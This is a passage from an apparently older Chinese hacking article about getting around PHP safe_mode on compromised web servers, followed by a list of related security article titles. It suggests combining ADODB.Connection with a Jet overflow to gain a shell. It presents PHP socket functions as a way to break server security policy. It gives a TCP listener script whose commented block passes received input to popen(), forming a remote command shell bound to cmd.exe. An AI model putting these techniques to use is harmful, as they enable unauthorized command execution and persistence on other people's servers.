这段代码与ASP的的意思是一模一样的,当然,你也可以像ASP那样调用“ADODB.Connection”,利用这个组件结合jet2溢出漏洞,可能能够在PHP Saft mode=ON下拿到一个Shell。
//create the database connection
$conn = new COM("ADODB.Connection");
$dsn = "DRIVER={Microsoft Access Driver (*.mdb)}; DBQ=" . realpath("mydb.mdb");
$conn->Open($dsn);
//pull the data through SQL string
$rs = $conn->Execute("select clients from web");
…..
?>
.Net 函数只能运行在 PHP 5上,当然,它需要 “.Net runtime”的支持,而且这的PHP的一个实验性模块,功能还未齐全,所以在这就不讨论了。
4、Java()函数的应用
该方法适用于safe mode=on。要使用JAVA模块服务器必须事先安装Java虚拟机,而且在PHP安装配置的时候打开了with-java的选项,代码如下:
[JAVA]
;这是到php_java.jar的路径
;java.class.path = .\php_java.jar
;JDK的路径
;Java.home = f:\jdk1.3.0
;到虚拟机的路径
;Java.library=f:\jdk1.3.0\jre\bin\hostspot\jvm.dll
同COM一样,使用Java创建类(不仅仅是JavaBeans)只需把JAVA的类名作为参数传递到构造函数。以下是手册里边的一个例子:
// This example is only intended to be run as a CGI.
$frame = new Java('java.awt.Frame', 'PHP');
$button = new Java('java.awt.Button', 'Hello Java World!');
$frame->add('North', $button);
$frame->validate();
$frame->pack();
$frame->visible = True;
$thread = new Java('java.lang.Thread');
$thread->sleep(10000);
$frame->dispose();
?>
可惜能真正支持JAVA的PHP服务器并不多见,所以在这也不多讨论了。
5、socket()函数的应用
socket 是PHP中功能极为强大的一个模块,如果你使用高级的、抽象的接口(由fsockopen()和psockopen函数打开的socket),是不需要打开“php_sockets.dll”的。但是如果要使用完整的socket函数块,就必须在php.ini这样设置:
;Windows Extensions
;Note that MySQL and ODBC support is now built in, so no dll is needed for it.
……..
;去掉以下一句最前边的分号
;extension=php_sockets.dll
使用PHP的socket函数块可以实现端口转发/重定向、数据包嗅探、本地溢出等功能, nc能做的, 它大部分都能做到。而且, 还可以用它构造TCP/UDP服务器, 同时, 我觉得它也是突破服务器安全策略的一个最好的办法。以下便是一个在服务器上打开端口构造TCP服务器的例子,你可以用它来捆绑上服务器的cmd.exe:
//在服务器上构造TCP服务
//该例子需要php_sockets.dll的支持
//执行后便可使用” telnet 127.0.0.1 1020”连接
error_reporting(E_ALL);
/* Allow the script to hang around waiting for connections. */
set_time_limit(0);
/* Turn on implicit output flushing so we see what we're getting
* as it comes in. */
ob_implicit_flush();
//在服务器上绑定IP和端口
$address = '127.0.0.1';
$port = 1020;
if (($sock = socket_create(AF_INET, SOCK_STREAM, SOL_TCP)) < 0) {
echo "socket_create() failed: reason: " . socket_strerror($sock) . "\n";
}
if (($ret = socket_bind($sock, $address, $port)) < 0) {
echo "socket_bind() failed: reason: " . socket_strerror($ret) . "\n";
}
if (($ret = socket_listen($sock, 5)) < 0) {
echo "socket_listen() failed: reason: " . socket_strerror($ret) . "\n";
}
do {
if (($msgsock = socket_accept($sock)) < 0) {
echo "socket_accept() failed: reason: " . socket_strerror($msgsock) . "\n";
break;
}
/* Send instructions. */
$msg = "\nWelcome to the PHP Test Server. \n" .
"To quit, type 'quit'. To shut down the server type 'shutdown'.\n";
socket_write($msgsock, $msg, strlen($msg));
do {
if (false === socket_recv($msgsock, $buf , 1024, 0)) {
echo "socket_read() failed: reason: " . socket_strerror($ret) . "\n";
break 2;
}
if (!$buf = trim($buf)) {
continue;
}
if ($buf == 'quit') {
break;
}
if ($buf == 'shutdown') {
socket_close($msgsock);
break 2;
}
$talkback = "PHP: You said '$buf'.\n";
socket_write($msgsock, $talkback, strlen($talkback));
echo "$buf\n";
//以下处理接受到的buf
/*eg:例如
$buf=”cmd.exe /c netstat –an”;
$pp = popen('$buf ', 'r');
While($read = fgets($pp, 2096))
echo $read;
pclose($pp);
*/
} while (true);
socket_close($msgsock);
} while (true);
socket_close($sock);
?>
事实上,很多主机都是没有加载php_sockets.dll的,庆幸的是,不需要socket模块支持的“fsockopen”函数已经足够我们使用了。因为只要有“fsockopen”,我们便可以自由地读写本机中未对外部开放的端口。
| PPPOE验证缺陷所带来的危害 | 03-21 | |
| Ce-Admin新闻发布系统漏洞分析 | 02-07 | |
| Discuz漏洞分析 | 11-28 | |
| 入侵检测PHP程序中的目录遍历漏洞 | 10-12 | |
| 主流入侵检测产品大比较 | 10-03 | |
| 一种新的带宽攻击方式(图) | 06-16 | |
| Javascript实现评估用户输入密码 | 05-30 | |
| 针锋相对:主要的反NIDS技术应用 | 05-22 | |
| dvbbs7.1sp1最新漏洞的研究和利用 | 05-13 | |
| IE mhtml redirection漏洞利用方 | 05-12 | |
| Php后门的隐藏技巧测试报告 | 05-11 | |
| McAfee IntruShield 2600入侵防护 | 05-09 | |